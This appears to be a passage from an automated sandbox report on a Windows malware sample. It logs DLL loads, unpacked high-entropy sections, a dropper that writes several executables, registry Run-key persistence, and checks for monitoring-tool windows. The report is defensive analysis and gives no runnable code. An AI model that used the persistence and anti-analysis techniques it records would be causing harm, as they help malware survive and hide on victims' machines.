Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1903616 > 1048576

Source: file.exe

Static PE information: Raw size of mlgfdbux is bigger than: 0x100000 < 0x19ee00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.6c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mlgfdbux:EW;qftbestz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mlgfdbux:EW;qftbestz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.420000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mlgfdbux:EW;qftbestz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mlgfdbux:EW;qftbestz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.420000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mlgfdbux:EW;qftbestz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mlgfdbux:EW;qftbestz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.420000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mlgfdbux:EW;qftbestz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mlgfdbux:EW;qftbestz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Unpacked PE file: 15.2.643ebf15b8.exe.ad0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;smwmjzky:EW;galsdkjy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;smwmjzky:EW;galsdkjy:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_007C42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

17_2_007C42DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.11.dr	Static PE information: real checksum: 0x43dbdc should be: 0x439e32
Source: f186248479.exe.11.dr	Static PE information: real checksum: 0x2b4724 should be: 0x2b82ef
Source: 472fe34b96.exe.11.dr	Static PE information: real checksum: 0x43dbdc should be: 0x439e32
Source: 48f66b117f.exe.11.dr	Static PE information: real checksum: 0x1c4643 should be: 0x1c9433
Source: random[1].exe0.11.dr	Static PE information: real checksum: 0x1c4643 should be: 0x1c9433
Source: 643ebf15b8.exe.11.dr	Static PE information: real checksum: 0x1b8bc4 should be: 0x1b79e2
Source: random[2].exe.11.dr	Static PE information: real checksum: 0x2b4724 should be: 0x2b82ef
Source: file.exe	Static PE information: real checksum: 0x1e00e5 should be: 0x1dad78
Source: random[1].exe1.11.dr	Static PE information: real checksum: 0x1b8bc4 should be: 0x1b79e2
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1e00e5 should be: 0x1dad78

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mlgfdbux
Source: file.exe	Static PE information: section name: qftbestz
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: mlgfdbux
Source: skotes.exe.0.dr	Static PE information: section name: qftbestz
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name: .rsrc
Source: random[1].exe.11.dr	Static PE information: section name: .idata
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name: odbfcxsw
Source: random[1].exe.11.dr	Static PE information: section name: fprwnwoi
Source: random[1].exe.11.dr	Static PE information: section name: .taggant
Source: 472fe34b96.exe.11.dr	Static PE information: section name:
Source: 472fe34b96.exe.11.dr	Static PE information: section name: .rsrc
Source: 472fe34b96.exe.11.dr	Static PE information: section name: .idata
Source: 472fe34b96.exe.11.dr	Static PE information: section name:
Source: 472fe34b96.exe.11.dr	Static PE information: section name: odbfcxsw
Source: 472fe34b96.exe.11.dr	Static PE information: section name: fprwnwoi
Source: 472fe34b96.exe.11.dr	Static PE information: section name: .taggant
Source: random[2].exe.11.dr	Static PE information: section name:
Source: random[2].exe.11.dr	Static PE information: section name: .idata
Source: random[2].exe.11.dr	Static PE information: section name: ssbqmpcp
Source: random[2].exe.11.dr	Static PE information: section name: iyzbxbnx
Source: random[2].exe.11.dr	Static PE information: section name: .taggant
Source: f186248479.exe.11.dr	Static PE information: section name:
Source: f186248479.exe.11.dr	Static PE information: section name: .idata
Source: f186248479.exe.11.dr	Static PE information: section name: ssbqmpcp
Source: f186248479.exe.11.dr	Static PE information: section name: iyzbxbnx
Source: f186248479.exe.11.dr	Static PE information: section name: .taggant
Source: random[1].exe0.11.dr	Static PE information: section name:
Source: random[1].exe0.11.dr	Static PE information: section name: .idata
Source: random[1].exe0.11.dr	Static PE information: section name:
Source: random[1].exe0.11.dr	Static PE information: section name: zkcxhtkx
Source: random[1].exe0.11.dr	Static PE information: section name: aryoitqh
Source: random[1].exe0.11.dr	Static PE information: section name: .taggant
Source: 48f66b117f.exe.11.dr	Static PE information: section name:
Source: 48f66b117f.exe.11.dr	Static PE information: section name: .idata
Source: 48f66b117f.exe.11.dr	Static PE information: section name:
Source: 48f66b117f.exe.11.dr	Static PE information: section name: zkcxhtkx
Source: 48f66b117f.exe.11.dr	Static PE information: section name: aryoitqh
Source: 48f66b117f.exe.11.dr	Static PE information: section name: .taggant
Source: random[1].exe1.11.dr	Static PE information: section name:
Source: random[1].exe1.11.dr	Static PE information: section name: .idata
Source: random[1].exe1.11.dr	Static PE information: section name:
Source: random[1].exe1.11.dr	Static PE information: section name: smwmjzky
Source: random[1].exe1.11.dr	Static PE information: section name: galsdkjy
Source: random[1].exe1.11.dr	Static PE information: section name: .taggant
Source: 643ebf15b8.exe.11.dr	Static PE information: section name:
Source: 643ebf15b8.exe.11.dr	Static PE information: section name: .idata
Source: 643ebf15b8.exe.11.dr	Static PE information: section name:
Source: 643ebf15b8.exe.11.dr	Static PE information: section name: smwmjzky
Source: 643ebf15b8.exe.11.dr	Static PE information: section name: galsdkjy
Source: 643ebf15b8.exe.11.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0043D91C push ecx; ret		11_2_0043D92F
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007E0A76 push ecx; ret		17_2_007E0A89

Source: file.exe	Static PE information: section name: entropy: 7.976579555648933
Source: file.exe	Static PE information: section name: mlgfdbux entropy: 7.9537067145856675
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.976579555648933
Source: skotes.exe.0.dr	Static PE information: section name: mlgfdbux entropy: 7.9537067145856675
Source: random[1].exe.11.dr	Static PE information: section name: odbfcxsw entropy: 7.955887099329246
Source: 472fe34b96.exe.11.dr	Static PE information: section name: odbfcxsw entropy: 7.955887099329246
Source: random[2].exe.11.dr	Static PE information: section name: entropy: 7.79338871556311
Source: f186248479.exe.11.dr	Static PE information: section name: entropy: 7.79338871556311
Source: random[1].exe0.11.dr	Static PE information: section name: entropy: 7.976867611725789
Source: random[1].exe0.11.dr	Static PE information: section name: zkcxhtkx entropy: 7.954509219804239
Source: 48f66b117f.exe.11.dr	Static PE information: section name: entropy: 7.976867611725789
Source: 48f66b117f.exe.11.dr	Static PE information: section name: zkcxhtkx entropy: 7.954509219804239
Source: random[1].exe1.11.dr	Static PE information: section name: smwmjzky entropy: 7.9542409531412455
Source: 643ebf15b8.exe.11.dr	Static PE information: section name: smwmjzky entropy: 7.9542409531412455

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 643ebf15b8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f186248479.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9bf3542ba6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 48f66b117f.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
